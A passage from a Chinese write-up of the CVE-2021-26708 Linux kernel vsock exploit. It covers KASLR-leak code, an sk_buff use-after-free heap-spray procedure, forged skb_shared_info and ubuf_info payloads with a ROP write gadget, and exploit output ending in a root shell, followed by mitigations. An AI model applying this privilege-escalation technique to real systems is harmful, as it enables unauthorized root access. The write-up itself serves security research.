#define SOCK_DEF_WRITE_SPACE 0xffffffff819851b0lu
unsigned long sk_memcg = 0;
unsigned long owner_cred = 0;
unsigned long sock_def_write_space = 0;
unsigned long kaslr_offset = 0;
/* ... */
sk_memcg = kmem[SK_MEMCG_RD_LOCATION / sizeof(uint64_t)];
printf("[+] Found sk_memcg %lx (offset %ld in the leaked kmem)\n",
sk_memcg, SK_MEMCG_RD_LOCATION);
owner_cred = kmem[OWNER_CRED_RD_LOCATION / sizeof(uint64_t)];
printf("[+] Found owner cred %lx (offset %ld in the leaked kmem)\n",
owner_cred, OWNER_CRED_RD_LOCATION);
sock_def_write_space = kmem[SK_WRITE_SPACE_RD_LOCATION / sizeof(uint64_t)];
printf("[+] Found sock_def_write_space %lx (offset %ld in the leaked kmem)\n",
sock_def_write_space, SK_WRITE_SPACE_RD_LOCATION);
kaslr_offset = sock_def_write_space - SOCK_DEF_WRITE_SPACE;
printf("[+] Calculated kaslr offset: %lx\n", kaslr_offset);
提权思路:cred
结构位于专门的cred_jar
slab cache,尽管现在能够利用任意堆块释放来释放它,但还是不能控制cred内容。所以目标转向mem_cgroup
对象,但是只要一释放该对象,内核立刻崩溃,看来内核中很多地方用到了mem_cgroup
对象,接下来考虑一种较老的提权技巧。
7. sk_buff
对象的UAF
sk_buff
对象:在利用 CVE-2017-2636 的时候,作者将kmalloc-8192
对象的 double-free 转化为sk_buff
对象的UAF,这里也可以尝试。struct sk_buff
表示网络相关的buffer,该对象中的skb_shared_info
对象中的destructor_arg
可用于劫持控制流,网络数据和skb_shared_info
位于相同的内存块(sk_buff.head
指向的内存块),在用户空间构造2800字节的网络包就能使 skb_shared_info
被分配在 kmalloc-4k
cache中(mem_cgroup
也位于kmalloc-4k
中)。
步骤:
- 1.创建1个 client socket 和32个 server socket:socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
- 2.用户空间准备 2800 字节的buffer并用
memset()
填充为 0x42; - 3.client 调用
sendto()
向每个server 发生该buffer,这样就会在kmalloc-4k
中创建sk_buff
对象。注意在每个CPU中都分配sk_buff
对象(调用sched_setaffinity()
); - 4.利用任意读来泄露
vsock_sock
对象的内容(前面已讲过); - 5.通过
vsock.sk.sk_memcg
也即mem_cgroup
对象的地址来计算sk_buff
对象的地址,可能是mem_cgroup
地址加上 4096(也就是下一个kmalloc-4k
); - 6.利用任意读来泄露
sk_buff
对象的内容(前面已讲过); - 7.如果网络包中含有
0x4242424242424242lu
,则找到了真正的sk_buff
,跳转到步骤8;否则,对刚才计算出来的sk_buff
地址再加上4096,跳转到第6步; - 8.开启32个线程来调用
setxattr() & userfaultfd()
对sk_buff
进行堆喷,然后用pthread_barrier
栅栏拦住; - 9.利用任意堆块释放来释放
sk_buff
对象; - 10.调用
pthread_barrier_wait()
放开栅栏,唤醒这32个堆喷线程,调用setxattr()
来覆盖skb_shared_info
对象; - 11.对 server socket调用
recv()
来接收网络消息 。
如果接收到skb_shared_info
被覆盖的sk_buff
,内核就会执行skb_shared_info.destructor_arg->callback
函数,可以对内核进行任意写并且提权。具体步骤如下。
注意:对sk_buff
对象的UAF是这个exp中最不稳定的一步,你也可以找找有没有其他更好的内核对象,能够分配到kmalloc-*
中且可以用来将UAF转化为内核内存的任意读写。
8.利用skb_shared_info
对象进行任意写
准备payload来覆盖sk_buff
对象:skb_shared_info
结构位于堆喷数据的 SKB_SHINFO_OFFSET - 3776
偏移处,skb_shared_info.destructor_arg
指针指向 struct ubuf_info
对象,伪造的ubuf_info
结构放在网络包的MY_UINFO_OFFSET - 256
偏移处。由于sk_buff
的地址已知,所以这是可以实现的。
说明:之前研究CVE-2017-2636的时候,由于不能把ubuf_info
放进内核,只能放在用户空间,所以无法绕过SMAP,现在能够泄露sk_buff
对象的地址,那么就能够将伪造的ubuf_info
放进内核,就能绕过SMAP了。
#define SKB_SIZE 4096
#define SKB_SHINFO_OFFSET 3776
#define MY_UINFO_OFFSET 256
#define SKBTX_DEV_ZEROCOPY (1 << 3)
void prepare_xattr_vs_skb_spray(void)
{
struct skb_shared_info *info = NULL;
xattr_addr = spray_data + PAGE_SIZE * 4 - SKB_SIZE + 4;
/* Don't touch the second part to avoid breaking page fault delivery */
memset(spray_data, 0x0, PAGE_SIZE * 4);
info = (struct skb_shared_info *)(xattr_addr + SKB_SHINFO_OFFSET);
info->tx_flags = SKBTX_DEV_ZEROCOPY;
info->destructor_arg = uaf_write_value + MY_UINFO_OFFSET; // uaf_write_value 是什么?
uinfo_p = (struct ubuf_info *)(xattr_addr + MY_UINFO_OFFSET); // 伪造 ubuf_info 结构的地址——用户空间
payload结构如下所示:
ubuf_info
结构构造如下:由于作者在vmlinuz-5.10.11-200.fc33.x86_64
中没有找到合适的pivot_gadget
,所以就发明了一种奇怪的任意写原语,并且能够"one shot" !
/*
* A single ROP gadget for arbitrary write:
* mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rdx + rcx*8], rsi ; ret
* Here rdi stores uinfo_p address, rcx is 0, rsi is 1
*/
uinfo_p->callback = ARBITRARY_WRITE_GADGET + kaslr_offset;
uinfo_p->desc = owner_cred + CRED_EUID_EGID_OFFSET; /* value for "qword ptr [rdi + 8]" */
uinfo_p->desc = uinfo_p->desc - 1; /* rsi value 1 should not get into euid */
任意写:callback
函数指针指向一个ROP gadget,RDI
保存了callback
的第一个参数(也就是ubuf_info
结构的地址),所以RDI+8
指向ubuf_info.desc
,这个gadget能将ubuf_info.desc
赋值给RDX
。现在RDX
存着有效的user ID
和group ID
的地址-1,这个-1
很重要,当gadget将RSI
中的qword 1
写入RDX
指向的内存时,uid
和gid
就会被覆盖为0。然后对uid
和gid
重复该步骤,就能成功提权。
以下是exp的输出,能够展现整个利用的流程:
[a13x@localhost ~]$ ./vsock_pwn
=================================================
==== CVE-2021-26708 PoC exploit by a13xp0p0v ====
=================================================
[+] begin as: uid=1000, euid=1000
[+] we have 2 CPUs for racing
[+] getting ready...
[+] remove old files for ftok()
[+] spray_data at 0x7f0d9111d000
[+] userfaultfd #1 is configured: start 0x7f0d91121000, len 0x1000
[+] fault_handler for uffd 38 is ready
[+] stage I: collect good msg_msg locations
[+] go racing, show wins:
save msg_msg ffff9125c25a4d00 in msq 11 in slot 0
save msg_msg ffff9125c25a4640 in msq 12 in slot 1
save msg_msg ffff9125c25a4780 in msq 22 in slot 2
save msg_msg ffff9125c3668a40 in msq 78 in slot 3
[+] stage II: arbitrary free msg_msg using corrupted msg_msg
kaddr for arb free: ffff9125c25a4d00
kaddr for arb read: ffff9125c2035300
[+] adapt the msg_msg spraying payload:
msg_ptr 0x7f0d91120fd8
m_type 1337 at 0x7f0d91120fe8
m_ts 6096 at 0x7f0d91120ff0
msgseg next 0xffff9125c2035300 at 0x7f0d91120ff8
[+] go racing, show wins:
[+] stage III: arbitrary read vsock via good overwritten msg_msg (msq 11)
[+] msgrcv returned 6096 bytes
[+] Found sk_memcg ffff9125c42f9000 (offset 4712 in the leaked kmem)
[+] Found owner cred ffff9125c3fd6e40 (offset 4888 in the leaked kmem)
[+] Found sock_def_write_space ffffffffab9851b0 (offset 4736 in the leaked kmem)
[+] Calculated kaslr offset: 2a000000
[+] stage IV: search sprayed skb near sk_memcg...
[+] checking possible skb location: ffff9125c42fa000
[+] stage IV part I: repeat arbitrary free msg_msg using corrupted msg_msg
kaddr for arb free: ffff9125c25a4640
kaddr for arb read: ffff9125c42fa030
[+] adapt the msg_msg spraying payload:
msg_ptr 0x7f0d91120fd8
m_type 1337 at 0x7f0d91120fe8
m_ts 6096 at 0x7f0d91120ff0
msgseg next 0xffff9125c42fa030 at 0x7f0d91120ff8
[+] go racing, show wins: 0 0 20 15 42 11
[+] stage IV part II: arbitrary read skb via good overwritten msg_msg (msq 12)
[+] msgrcv returned 6096 bytes
[+] found a real skb
[+] stage V: try to do UAF on skb at ffff9125c42fa000
[+] skb payload:
start at 0x7f0d91120004
skb_shared_info at 0x7f0d91120ec4
tx_flags 0x8
destructor_arg 0xffff9125c42fa100
callback 0xffffffffab64f6d4
desc 0xffff9125c3fd6e53
[+] go racing, show wins: 15
[+] stage VI: repeat UAF on skb at ffff9125c42fa000
[+] go racing, show wins: 0 12 13 15 3 12 4 16 17 18 9 47 5 12 13 9 13 19 9 10 13 15 12 13 15 17 30
[+] finish as: uid=0, euid=0
[+] starting the root shell...
uid=0(root) gid=0(root) groups=0(root),1000(a13x) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
9.可能的缓解措施
- (1)开启
SLAB_QUARANTINE
机制就能防止本漏洞被利用,因为竞争条件的时间很短,详情可参考文章Linux kernel heap quarantine versus use-after-free exploits ; - (2)grsecurity提供的
MODHARDEN
patch 可以防止内核模块被非法用户自动加载; - (3)将
/proc/sys/vm/unprivileged_userfaultfd
设置为0就能阻断堆喷,只有特权用户(如SYS_CAP_PTRACE
)才能调用userfaultfd()
; - (4)
kernel.dmesg_restrict
sysctl设置为1就能阻断从内核日志泄露信息,可以限制非法用户通过dmesg
读取内核日志; - (5)CFI可以阻止执行ROP gadget,详情请参考 Linux Kernel Defence Map ;
- (6)未来的Linux内核版本将支持 ARM Memory Tagging Extension (MTE) ,可以缓解ARM中的UAF;
- (7)传说grsecurity有个终极武器叫做
AUTOSLAB
,可能可以根据对象类型来将内核对象分配到单独的slab cache中,这样就无法堆喷了; - (8)Kees Cook指出将
panic_on_warn
sysctl设置为1就能打乱利用,原本的提权程序只能导致拒绝服务。
参考
Four Bytes of Power: exploiting CVE-2021-26708 in the Linux kernel Zer0Con 2021 talk slides
Linux 内核 AF_VSOCK 套接字条件竞争漏洞(CVE-2021-26708)分析
Linux vsock internals
VSOCK: VM host socket with minimal configuration